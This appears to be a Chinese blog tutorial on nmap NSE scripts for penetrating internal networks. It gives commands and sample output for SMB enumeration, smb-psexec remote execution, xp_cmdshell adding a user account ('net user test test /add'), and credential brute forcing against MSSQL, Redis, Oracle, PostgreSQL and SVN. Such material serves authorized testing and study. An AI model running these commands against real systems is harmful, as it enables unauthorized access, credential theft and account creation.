smb-ls.nse 列举共享目录内的文件，配合smb-enum-share使用
nmap -p 445 <ip> --script smb-ls --script-args 'share=c$,path=\temp'
nmap -p 445 <ip> --script smb-enum-shares,smb-ls
Script Output
Host script results:
| smb-ls:
| Volume \\192.168.56.101\c$\
| SIZE TIME FILENAME
| 0 2007-12-02 00:20:09 AUTOEXEC.BAT
| 0 2007-12-02 00:20:09 CONFIG.SYS
| <DIR> 2007-12-02 00:53:39 Documents and Settings
| <DIR> 2009-09-08 13:26:10 e5a6b742d36facb19c5192852c43
| <DIR> 2008-12-01 02:06:29 Inetpub
| 94720 2007-02-18 00:31:38 msizap.exe
| <DIR> 2007-12-02 00:55:01 Program Files
| <DIR> 2008-12-01 02:05:52 temp
| <DIR> 2011-12-16 14:40:18 usr
| <DIR> 2007-12-02 00:42:40 WINDOWS
| <DIR> 2007-12-02 00:22:38 wmpub
|_
当然，我们也可以把这些参数都加上，然后执行
map -v -sV --min-hostgroup 50 --script=smb-os-discovery --script=smbv2-enabled --script=smb-enum-domains --script=smb-enum-groups —script=smb-enum-shares --script=smb-enum-processes --script=smb-enum-sessions --script=smb-enum-users —script=smb-ls --script=smb-security-mode --script=smb-server-stats --script=smb-system-info -p 445 -oA xx 10.65.152.101
这样可以一次性输出所有的smb相关的信息，保存到xx文件里，方便我们本地查看
smb-psexec.nse 当我们获取到smb的用户密码时，可以通过smb-psexec在远程主机来执行我们的命令
nmap --script smb-psexec.nse --script-args=smbuser=<username>,smbpass=<password>[,config=<config>] -p445 <host>
sudo nmap -sU -sS --script smb-psexec.nse --script-args=smbuser=<username>,smbpass=<password>[,config=<config>] -p U:137,T:139 <host>
Script Output
Host script results:
| smb-psexec:
| | Windows version
| | |_ Microsoft Windows 2000 [Version 5.00.2195]
| | IP Address and MAC Address from 'ipconfig.exe'
| | | Ethernet adapter Local Area Connection 2:
| | | MAC Address: 00:50:56:A1:24:C2
| | | IP Address: 10.0.0.30
| | | Ethernet adapter Local Area Connection:
| | |_ MAC Address: 00:50:56:A1:00:65
| | User list from 'net user'
| | | Administrator TestUser3 Guest
| | | IUSR_RON-WIN2K-TEST IWAM_RON-WIN2K-TEST nmap
| | | rontest123 sshd SvcCOPSSH
| | |_ test1234 Testing TsInternetUser
| | Membership of 'administrators' from 'net localgroup administrators'
| | | Administrator
| | | SvcCOPSSH
| | | test1234
| | |_ Testing
| | Can the host ping our address?
| | | Pinging 10.0.0.138 with 32 bytes of data:
| | |_ Reply from 10.0.0.138: bytes=32 time<10ms TTL=64
| | Traceroute back to the scanner
| | |_ 1 <10 ms <10 ms <10 ms 10.0.0.138
| | ARP Cache from arp.exe
| | | Internet Address Physical Address Type
| | |_ 10.0.0.138 00-50-56-a1-27-4b dynamic
| | List of listening and established connections (netstat -an)
| | | Proto Local Address Foreign Address State
| | | TCP 0.0.0.0:22 0.0.0.0:0 LISTENING
| | | TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
| | | TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
| | | TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
| | | TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
| | | TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
| | | TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
| | | TCP 0.0.0.0:1028 0.0.0.0:0 LISTENING
| | | TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING
| | | TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
| | | TCP 0.0.0.0:4933 0.0.0.0:0 LISTENING
| | | TCP 10.0.0.30:139 0.0.0.0:0 LISTENING
| | | TCP 127.0.0.1:2528 127.0.0.1:2529 ESTABLISHED
| | | TCP 127.0.0.1:2529 127.0.0.1:2528 ESTABLISHED
| | | TCP 127.0.0.1:2531 127.0.0.1:2532 ESTABLISHED
| | | TCP 127.0.0.1:2532 127.0.0.1:2531 ESTABLISHED
| | | TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
| | | TCP 127.0.0.1:5152 127.0.0.1:2530 CLOSE_WAIT
| | | UDP 0.0.0.0:135 *:*
| | | UDP 0.0.0.0:445 *:*
| | | UDP 0.0.0.0:1030 *:*
| | | UDP 0.0.0.0:3456 *:*
| | | UDP 10.0.0.30:137 *:*
| | | UDP 10.0.0.30:138 *:*
| | | UDP 10.0.0.30:500 *:*
| | | UDP 10.0.0.30:4500 *:*
| | |_ UDP 127.0.0.1:1026 *:*
| | Full routing table from 'netstat -nr'
| | | ===========================================================================
| | | Interface List
| | | 0x1 ........................... MS TCP Loopback interface
| | | 0x2 ...00 50 56 a1 00 65 ...... VMware Accelerated AMD PCNet Adapter
| | | 0x1000004 ...00 50 56 a1 24 c2 ...... VMware Accelerated AMD PCNet Adapter
| | | ===========================================================================
| | | ===========================================================================
| | | Active Routes:
| | | Network Destination Netmask Gateway Interface Metric
| | | 10.0.0.0 255.255.255.0 10.0.0.30 10.0.0.30 1
| | | 10.0.0.30 255.255.255.255 127.0.0.1 127.0.0.1 1
| | | 10.255.255.255 255.255.255.255 10.0.0.30 10.0.0.30 1
| | | 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
| | | 224.0.0.0 224.0.0.0 10.0.0.30 10.0.0.30 1
| | | 255.255.255.255 255.255.255.255 10.0.0.30 2 1
| | | ===========================================================================
| | | Persistent Routes:
| | | None
|_ |_ |_ Route Table
smb-system-info.nse 通过smb协议获取目标主机的操作系统信息，环境变量，硬件信息以及浏览器版本等。
nmap --script smb-system-info.nse -p445 <host>
sudo nmap -sU -sS --script smb-system-info.nse -p U:137,T:139 <host>
Script Output
Host script results:
| smb-system-info:
| | OS Details
| | | Microsoft Windows 2000 Service Pack 4 (ServerNT 5.0 build 2195)
| | | Installed on 2008-10-10 05:47:19
| | | Registered to Ron (organization: Government of Manitoba)
| | | Path: %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Program Files\Graphviz2.20\Bin;
| | | Systemroot: C:\WINNT
| | |_ Page files: C:\pagefile.sys 192 384 (cleared at shutdown => 0)
| | Hardware
| | | CPU 0: Intel(R) Xeon(TM) CPU 2.80GHz [2800mhz GenuineIntel]
| | | |_ Identifier 0: x86 Family 15 Model 3 Stepping 8
| | |_ Video driver: VMware SVGA II
| | Browsers
| | | Internet Explorer 6.0000
|_ |_ |_ Firefox 3.0.12 (en-US)
ms-sql-brute.nse 有时候收集到一定的用户密码之后，可以组合成字典，对域内的mssql机器进行破解，可以快速获取更多的mssql管理权限，通过其他途径获取目标机器管理权限。
nmap -p 445 --script ms-sql-brute --script-args mssql.instance-all,userdb=customuser.txt,passdb=custompass.txt <host>
nmap -p 1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt <host>
Script Output
| ms-sql-brute:
| [192.168.100.128\TEST]
| No credentials found
| Warnings:
| sa: AccountLockedOut
| [192.168.100.128\PROD]
| Credentials found:
| webshop_reader:secret => Login Success
| testuser:secret1234 => PasswordMustChange
|_ lordvader:secret1234 => Login Success
ms-sql-xp-cmdshell.nse 顾名思义，当我们知道mssql的sa权限用户名密码时，可以通过nmap脚本来执行我们指定的命令，可以通过smb协议或者mssql来执行
nmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell <host>
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user test test /add" <host>
Script Output
| ms-sql-xp-cmdshell:
| [192.168.56.3\MSSQLSERVER]
| Command: ipconfig /all
| output
| ======
|
| Windows IP Configuration
|
| Host Name . . . . . . . . . . . . : EDUSRV011
| Primary Dns Suffix . . . . . . . : cqure.net
| Node Type . . . . . . . . . . . . : Unknown
| IP Routing Enabled. . . . . . . . : No
| WINS Proxy Enabled. . . . . . . . : No
| DNS Suffix Search List. . . . . . : cqure.net
|
| Ethernet adapter Local Area Connection 3:
|
| Connection-specific DNS Suffix . :
| Description . . . . . . . . . . . : AMD PCNET Family PCI Ethernet Adapter #2
| Physical Address. . . . . . . . . : 08-00-DE-AD-C0-DE
| DHCP Enabled. . . . . . . . . . . : Yes
| Autoconfiguration Enabled . . . . : Yes
| IP Address. . . . . . . . . . . . : 192.168.56.3
| Subnet Mask . . . . . . . . . . . : 255.255.255.0
| Default Gateway . . . . . . . . . :
| DHCP Server . . . . . . . . . . . : 192.168.56.2
| Lease Obtained. . . . . . . . . . : den 21 mars 2010 00:12:10
| Lease Expires . . . . . . . . . . : den 21 mars 2010 01:12:10
|_
redis.nse 这里就不多说了，爆破redis的用户密码，结合前段时间的redis的写入ssh key，可以获取到服务器的权限。
nmap -p 6379 <ip> --script redis-brute
Script Output
PORT STATE SERVICE
6379/tcp open unknown
| redis-brute:
| Accounts
| toledo - Valid credentials
| Statistics
|_ Performed 5000 guesses in 3 seconds, average tps: 1666
oracle-sid-brute.nse 挂载字典爆破oracle的sid
nmap --script=oracle-sid-brute --script-args=oraclesids=/path/to/sidfile -p 1521-1560 <host>
nmap --script=oracle-sid-brute -p 1521-1560 <host>
Script Output
PORT STATE SERVICE REASON
1521/tcp open oracle syn-ack
| oracle-sid-brute:
| orcl
| prod
|_ devel
pgsql-brute.nse postgresql用户密码猜解脚本，对pgsql进行密码爆破，再适当的权限下，可以读写文件，执行命令，从而进一步获取服务器控制权限。
nmap -p 5432 --script pgsql-brute <host>
Script Output
5432/tcp open pgsql
| pgsql-brute:
| root:<empty> => Valid credentials
|_ test:test => Valid credentials
oracle-enum-users 通过挂载字典，遍历oracle的可用用户
nmap --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt -p 1521-1560 <host>
If no userdb is supplied the default userlist is used
Script Output
PORT STATE SERVICE REASON
1521/tcp open oracle syn-ack
| oracle-enum-users:
| haxxor is a valid user account
| noob is a valid user account
|_ patrik is a valid user account
oracle-brute.nse 知道sid之后，我们可以爆破oracle的用户密码，，然后再进行其他操作。
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL <host>
Script Output
PORT STATE SERVICE REASON
1521/tcp open oracle syn-ack
| oracle-brute:
| Accounts
| system:powell => Account locked
| haxxor:haxxor => Valid credentials
| Statistics
|_ Perfomed 157 guesses in 8 seconds, average tps: 19
svn-brute.nse 大量的svn服务器存在于企业内网，通过这些svn服务器上的内容，我们可以下载源代码，寻找一些有用的信息，svn-brute对svn服务器进行爆破。
nmap --script svn-brute --script-args svn-brute.repo=/svn/ -p 3690 <host>
Script Output
PORT STATE SERVICE REASON
3690/tcp open svn syn-ack
| svn-brute:
| Accounts
|_ patrik:secret => Login correct
Summary
-------
x The svn class contains the code needed to perform CRAM-MD5
authentication
x The Driver class contains the driver implementation used by the brute
library
以上是个人经常用到的一些nmap的脚本，对内网进行渗透，当然，扫描经常会触发ids或者其他的安全设备，所以在用的时候，仁者见仁，智者见智，不能一概而论，根据实际的环境，来选择合适的脚本。